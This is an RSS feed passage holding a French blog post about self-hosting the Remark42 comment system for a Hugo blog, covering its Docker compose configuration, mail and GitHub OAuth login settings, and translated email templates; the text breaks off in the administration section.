<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Weblog on Pascal&#39;s weblog</title>
        <link>https://pled.fr/categories/weblog/</link>
        <description>Recent content in Weblog on Pascal&#39;s weblog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>fr</language>
        <lastBuildDate>Thu, 16 Jul 2026 16:18:48 +0000</lastBuildDate><atom:link href="https://pled.fr/categories/weblog/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>Hugo : Installation de remark42 pour les commentaires</title>
            <link>https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/</link>
            <pubDate>Thu, 16 Jul 2026 16:18:48 +0000</pubDate>
            <guid>https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;remark42-1.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je poursuis mon projet de passer le blog de WP à Hugo. Maintenant que j&amp;rsquo;ai installé mon serveur Hugo en local, que j&amp;rsquo;ai trouvé un thème, et que je l&amp;rsquo;ai personnalisé (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/hugo-avec-theme-stack-installation-en-local/&#34; &gt;article précédent&lt;/a&gt;), il est temps de penser au système de commentaires que je souhaite ajouter, et à le tester.&lt;/p&gt;&#xA;&lt;p&gt;Comme je le disais dans l&amp;rsquo;article à propos de &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/migrer-le-blog-vers-hugo/&#34; &gt;migrer le blog vers Hugo&lt;/a&gt;, j&amp;rsquo;ai choisi &lt;a class=&#34;link&#34; href=&#34;https://remark42.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Remark42&lt;/a&gt; comme système de commentaire. Il a plusieurs qualités qui m&amp;rsquo;ont intéressé :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;on peut l&amp;rsquo;auto-héberger dans un container docker.&lt;/li&gt;&#xA;&lt;li&gt;le thème Stack que j&amp;rsquo;ai choisi le supporte de base (utile surtout pour le css).&lt;/li&gt;&#xA;&lt;li&gt;on peut importer les commentaires du site Wordpress que l&amp;rsquo;on migre.&lt;/li&gt;&#xA;&lt;li&gt;Il est basé sur la sécurité et le respect de la vie privée.&lt;/li&gt;&#xA;&lt;li&gt;Il est recommandé par l&amp;rsquo;outil de migration &lt;a class=&#34;link&#34; href=&#34;https://github.com/ashishb/wp2hugo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;wp2hugo&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Il coche donc toutes les cases. Il lui manque peut-être une interface d&amp;rsquo;administration, mais est-ce vraiment utile ? on peut quand même bloquer un utilisateur, supprimer un commentaire, désactiver les commentaires pour un article. L&amp;rsquo;essentiel est là.&lt;/p&gt;&#xA;&lt;p&gt;On trouve quelques tutos pour l&amp;rsquo;installer et le paramétrer comme par exemple :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.laromierre.com/fr/posts/how-to-self-host-remark42-comments-with-docker-hugo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.laromierre.com/fr/posts/how-to-self-host-remark42-comments-with-docker-hugo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.devbitsandbytes.com/setting-up-remark42-from-scratch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.devbitsandbytes.com/setting-up-remark42-from-scratch/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;C&amp;rsquo;est donc parti pour l&amp;rsquo;installation !&lt;/p&gt;&#xA;&lt;h3 id=&#34;docker&#34;&gt;Docker&#xA;&lt;/h3&gt;&lt;p&gt;On commence bien sûr par installer le container Docker. Comme d&amp;rsquo;habitude, j&amp;rsquo;utilise Dockge pour ce faire, avec le fichier &lt;code&gt;compose.yaml&lt;/code&gt; suivant (qui sera modifié par la suite, mais c&amp;rsquo;est une base pour démarrer) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;services&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;remark&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;image&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ghcr.io/umputun/remark42:latest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;container_name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;remark42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;hostname&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;remark42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;restart&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;always&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;logging&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;driver&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;json-file&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;options&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;max-size&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;10m&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;max-file&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;5&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# uncomment to expose directly (no proxy)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;ports&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;8132&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;8080&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;#  - &amp;#34;443:8443&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# uncomment to expose to reverse proxy running on the same host but not in docker&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;#ports:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;#  - &amp;#34;127.0.0.1:8080:8080&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;environment&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;REMARK_URL=https://remark42.mon-domaine.fr&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;SECRET=xxxxx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;DEBUG=true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_GOOGLE_CID&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_GOOGLE_CSEC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_GITHUB_CID=xxxxxxxxxxxxxxxxxxxxxxx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_GITHUB_CSEC=yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_FACEBOOK_CID&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_FACEBOOK_CSEC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_DISQUS_CID&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;AUTH_DISQUS_CSEC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# Enable it only for the initial comment import or for manual backups.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# Do not leave the server running with the ADMIN_PASSWD set if you don&amp;#39;t have an intention&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# to keep creating backups manually!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;ADMIN_PASSWD=remark42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;volumes&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#ae81ff&#34;&gt;/srv/dev-disk-by-uuid-wwww-xxxx-yyyy-zzzz/AppData/remark42/var:/srv/var&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;networks&lt;/span&gt;: {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;J&amp;rsquo;ai laissé les paramètres d&amp;rsquo;authentification des réseaux sociaux, mais je n&amp;rsquo;utiliserai que Github, dont les paramètres sont expliqués plus bas.&lt;/li&gt;&#xA;&lt;li&gt;J&amp;rsquo;ai défini au niveau de mon hébergeur un sous-domaine pour ce serveur.&lt;/li&gt;&#xA;&lt;li&gt;Le paramètre REMARK_URL &lt;strong&gt;doit être&lt;/strong&gt; l&amp;rsquo;adresse externe par laquelle le service sera utilisé.&lt;/li&gt;&#xA;&lt;li&gt;Mon proxy (swag) tourne dans un autre container, et j&amp;rsquo;y ai ajouté un fichier &lt;code&gt;remark42.subdomain.conf&lt;/code&gt; standard.&lt;/li&gt;&#xA;&lt;li&gt;Le paramètre ADMIN_PASSWD est activé pour pouvoir importer les commentaires de WP. Je le désactiverai ensuite.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On le lance, et ajoute PING à l&amp;rsquo;adresse du serveur : on reçoit &amp;ldquo;pong&amp;rdquo;, et donc le service tourne ! :cool:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1237px&#34; data-flex-grow=&#34;515&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/ping-pong-1.png&#34; width=&#34;531&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;autorisations&#34;&gt;Autorisations&#xA;&lt;/h3&gt;&lt;p&gt;Remark42 supporte l&amp;rsquo;identification via les réseaux sociaux de type Facebook, Apple ou Google : je ne les traiterai pas ici, et je n&amp;rsquo;ai pas l&amp;rsquo;intention de les activer pour mon blog. Je souhaite autoriser les commentaires anonymes, ceux avec un compte mail classique, et pour le fun j&amp;rsquo;ai ajouté Github.&lt;/p&gt;&#xA;&lt;h4 id=&#34;mail&#34;&gt;Mail&#xA;&lt;/h4&gt;&lt;p&gt;Voilà les paramètres à ajouter au fichier &lt;code&gt;compose.yaml&lt;/code&gt; de remark42, à modifier en fonction de votre fournisseur :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SMTP_HOST&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;smtp.mail.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SMTP_PORT&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;465&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SMTP_TLS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;true&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SMTP_STARTTLS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SMTP_USERNAME&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;user@exemple.fr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SMTP_PASSWORD&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;mot_de_passe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NOTIFY_USERS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NOTIFY_EMAIL_VERIFICATION_SUBJ &lt;span style=&#34;color:#75715e&#34;&gt;# &amp;#34;Email verification&amp;#34; by default&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NOTIFY_ADMINS&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NOTIFY_EMAIL_FROM&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Remark42 notifications&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ADMIN_SHARED_EMAIL&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;administrateur@mail.fr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AUTH_ANON&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;true &lt;span style=&#34;color:#75715e&#34;&gt;# enable anonymous commenting&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Les paramètres SMTP_ sont obligatoires pour utiliser les fonctions de mail de Remark42.&lt;/li&gt;&#xA;&lt;li&gt;Les paramètres NOTIFY_ permettent à l&amp;rsquo;utilisateur et/ou à l&amp;rsquo;administrateur de recevoir un mail en cas de nouveau commentaire sur l&amp;rsquo;adresse définie avec ADMIN_SHARED_EMAIL.&lt;/li&gt;&#xA;&lt;li&gt;Enfin, le paramètre AUTH_ANON autorise les commentaires anonymes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Remark42 a l&amp;rsquo;air assez pointu sur la sécurité, et lors de votre premier commentaire, un TOKEN vous est envoyé par mail que vous devrez copier/coller pour pouvoir envoyer votre commentaire.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;541px&#34; data-flex-grow=&#34;225&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/token.png&#34; width=&#34;541&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Concernant l&amp;rsquo;autorisation de commentaires anonymes, à voir à l&amp;rsquo;usage, car sans les plugins WP de filtrage et autres détections de commentaires indésirables envoyés par des bots (et ce n&amp;rsquo;est pas ça qui manque !), je ne sais pas du tout quel sera la situation avec Hugo et Remark42 sur ce sujet. Je devrai peut-être annuler les commentaires anonymes.&lt;/p&gt;&#xA;&lt;h4 id=&#34;github&#34;&gt;GitHub&#xA;&lt;/h4&gt;&lt;p&gt;Il faut d&amp;rsquo;abord créer un nouveau &lt;strong&gt;&amp;ldquo;OAuth App&amp;rdquo;&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://github.com/settings/developers&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/settings/developers&lt;/a&gt;. Renseigner &lt;strong&gt;&amp;ldquo;Application Name&amp;rdquo;&lt;/strong&gt; and &lt;strong&gt;&amp;ldquo;Homepage URL&amp;rdquo;&lt;/strong&gt; pour votre site. Sous &lt;strong&gt;&amp;ldquo;Authorization callback URL&amp;rdquo;&lt;/strong&gt; saisir l&amp;rsquo;URL de type FQDN suivie de &lt;code&gt;/auth/github/callback&lt;/code&gt;, soit par exemple : &lt;code&gt;https://remark42.mysite.com/auth/github/callback&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;653px&#34; data-flex-grow=&#34;272&#34; height=&#34;282&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/github1.png&#34; width=&#34;768&#34;&gt; &lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;219px&#34; data-flex-grow=&#34;91&#34; height=&#34;548&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/github.png&#34; width=&#34;501&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Noter le &lt;strong&gt;Client ID&lt;/strong&gt; (as &lt;code&gt;AUTH_GITHUB_CID&lt;/code&gt;) et le &lt;strong&gt;Client Secret&lt;/strong&gt; ( &lt;code&gt;AUTH_GITHUB_CSEC&lt;/code&gt;) pour les renseigner dans le fichier &lt;code&gt;compose.yaml&lt;/code&gt; (voir plus haut).&lt;/p&gt;&#xA;&lt;p&gt;Pendant la manip, j&amp;rsquo;ai eu cette erreur :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;201&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/Capture-decran-du-2026-05-26-11-06-13.png&#34; width=&#34;533&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;était le paramètre &lt;code&gt;REMARK_URL&lt;/code&gt; dans le fichier &lt;code&gt;compose.yaml&lt;/code&gt; qui était incorrect (je l&amp;rsquo;avais renseigné au départ avec une adresse locale 192.168.1.x). Il doit absolument être une l&amp;rsquo;adresse web accessible de l&amp;rsquo;extérieur :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;REMARK_URL=https://remark42.mon-domaine.fr&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;utilisation&#34;&gt;Utilisation&#xA;&lt;/h3&gt;&lt;p&gt;Voilà, on peut donc s&amp;rsquo;identifier via Github, mail, ou choisir le mode anonyme, puis poster un commentaire.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;380px&#34; data-flex-grow=&#34;158&#34; height=&#34;385&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/identification.png&#34; width=&#34;610&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et cerise sur le gâteau, Remark42 permet aussi de voter pour un commentaire :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;600px&#34; data-flex-grow=&#34;250&#34; height=&#34;261&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/vote.png&#34; width=&#34;653&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;modèles-pour-les-mails-ou-les-messages-derreur&#34;&gt;Modèles pour les mails ou les messages d&amp;rsquo;erreur&#xA;&lt;/h4&gt;&lt;p&gt;Pour aller un peu plus loin, on peut créer ses propres &amp;ldquo;templates&amp;rdquo; de messages envoyés par Remark42, pour les franciser par exemple. Pour un serveur en Docker, il faut récupérer les fichiers sources sur le site gihtub: &lt;a class=&#34;link&#34; href=&#34;https://github.com/umputun/remark42/tree/master/backend/app/templates/static&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/umputun/remark42/tree/master/backend/app/templates/static&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis les éditer, les traduire, et les sauvegarder dans un dossier &lt;code&gt;customised_templates&lt;/code&gt; créé à la même hauteur que le dossier &lt;code&gt;var&lt;/code&gt;. Et on ajoute un nouveau volume pour chaque fichier dans le fichier &lt;code&gt;compose.yaml&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;volumes&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#ae81ff&#34;&gt;./var:/srv/var&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#ae81ff&#34;&gt;./customised_templates/email_confirmation_login.html.tmpl:/srv/email_confirmation_login.html.tmpl:ro&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#ae81ff&#34;&gt;./customised_templates/email_confirmation_subscription.html.tmpl:/srv/email_confirmation_subscription.html.tmpl:ro&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#ae81ff&#34;&gt;./customised_templates/email_reply.html.tmpl:/srv/email_reply.html.tmpl:ro&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#ae81ff&#34;&gt;./customised_templates/email_unsubscribe.html.tmpl:/srv/email_unsubscribe.html.tmpl:ro&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#ae81ff&#34;&gt;./customised_templates/error_response.html.tmpl:/srv/error_response.html.tmpl:ro&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Une fois le serveur redémarré, les fichiers modifiés sont bien utilisés :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;206px&#34; data-flex-grow=&#34;86&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/hugo-installation-de-remark42-pour-les-commentaires/token1-1.png&#34; width=&#34;258&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;administration&#34;&gt;Administration&#xA;&lt;/h3&gt;&lt;p&gt;Pas d&amp;rsquo;interface web pour gérer les commentaires, c&amp;rsquo;est peut-être le point faible de remark42. Il existe cependant des solutions externes, comme celle-ci : &lt;a class=&#34;link&#34; href=&#34;https://github.com/lauralesteves/remark42-admin-ui&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/lauralesteves/remark42-admin-ui&lt;/a&gt; mais je ne 